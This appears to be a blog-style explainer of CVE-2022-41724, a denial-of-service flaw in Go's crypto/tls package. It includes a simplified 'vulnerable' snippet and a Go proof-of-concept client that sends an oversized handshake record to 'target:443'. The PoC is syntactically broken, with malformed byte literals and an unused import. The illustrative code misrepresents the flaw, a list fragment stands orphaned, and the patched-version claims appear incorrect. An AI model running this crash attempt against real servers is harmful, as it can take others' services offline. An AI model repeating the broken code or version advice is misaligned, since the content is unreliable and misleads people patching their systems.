The security of internet connections often relies on how well TLS, the protocol for secure communications, is implemented. In 2022, a dangerous vulnerability was discovered in Go’s widely used crypto/tls package, tracked as CVE-2022-41724. This bug enables attackers to send very large TLS handshake records, causing servers or clients to panic (unexpectedly crash) while handling encrypted connections—effectively causing a denial of service (DoS).

Let’s explain, in simple American English, what this bug is, how it works, who it affects, and even how you might test for it yourself.

The Bug in Plain Words

TLS handshake records are the first messages exchanged when two computers agree to communicate securely. The Go crypto/tls package didn’t properly check the size of these handshake records. If a handshake record is too big, instead of returning a safe error, the program would panic and crash.

Attackers can send a super-sized handshake record, triggering this bug. Once the panic happens, the Go process stops responding to any other connections. On a public web server or client, this means anyone on the internet could take your service down.

TLS 1.3 servers requesting client certificates (Config.ClientAuth >= RequestClientCert)

Most Go applications using TLS 1.3 are affected by default, and some are at risk on TLS 1.2 too.

What’s Happening Under the Hood?

The vulnerable Go code tried to process handshake records, assuming they'd be a reasonable size. But there's no limit baked in! Here’s a simplified look at code that can crash due to this bug:

// This demonstrates unsafe reading of large records
data := make([]byte, recordLen)
if _, err := io.ReadFull(conn, data); err != nil {
    panic(err) // UH-OH! This can panic if recordLen is massive
}
// ... process data (could cause out-of-memory or indexing panics)

If recordLen is attacker-controlled (via the handshake record), the server or client could try to allocate a huge chunk of memory or crash while parsing the record.

Here’s a simple way to test a Go server for this bug (don’t use on real targets!)

// Go client that sends a huge handshake record to a TLS server
package main

import (
    "crypto/tls"
    "net"
)

func main() {
    conn, _ := net.Dial("tcp", "target:443")
    // TLS handshake record format: ContentType (1), Version (2), Length (2)
    // Let's create a record with a huge length field
    hugeRecord := []byte{x16, x03, x03, xFF, xFF} // 65535 bytes
    hugeRecord = append(hugeRecord, make([]byte, 65535)...)
    conn.Write(hugeRecord)
    // Server will likely panic and drop connection
}

If the server is running a vulnerable version of Go’s crypto/tls, this input might crash the process.

What Makes This Dangerous?

- Remotely Triggerable: Anyone who can connect to your Go TLS server/port can exploit this—no authentication, privileges, or secret knowledge required.

How To Fix

- Upgrade Go. This vulnerability is fixed in Go 1.19.3 and 1.18.8. Upgrade all affected servers and clients now.
- No Config Workaround: There’s no safe configuration mitigation—affected programs must upgrade Go.

Further Reading and References

- CVE-2022-41724 Summary (NIST NVD)
- Go Official Security Advisory
- Go Release Notes: Go 1.19.3

Conclusion

CVE-2022-41724 highlights how even simple bugs—missing a check on input size—can turn into powerful tools for attackers. If your Go program uses TLS, make sure you’re running at least Go 1.19.3 or 1.18.8 to stay protected.

Exclusive tip: If you need to quickly verify your Go TLS endpoints are patched, trigger a handshake with an intentionally huge record and see if the process survives. But remember: always test on your own systems!

Timeline

Published on: 02/28/2023 18:15:00 UTC
Last modified on: 03/10/2023 04:58:00 UTC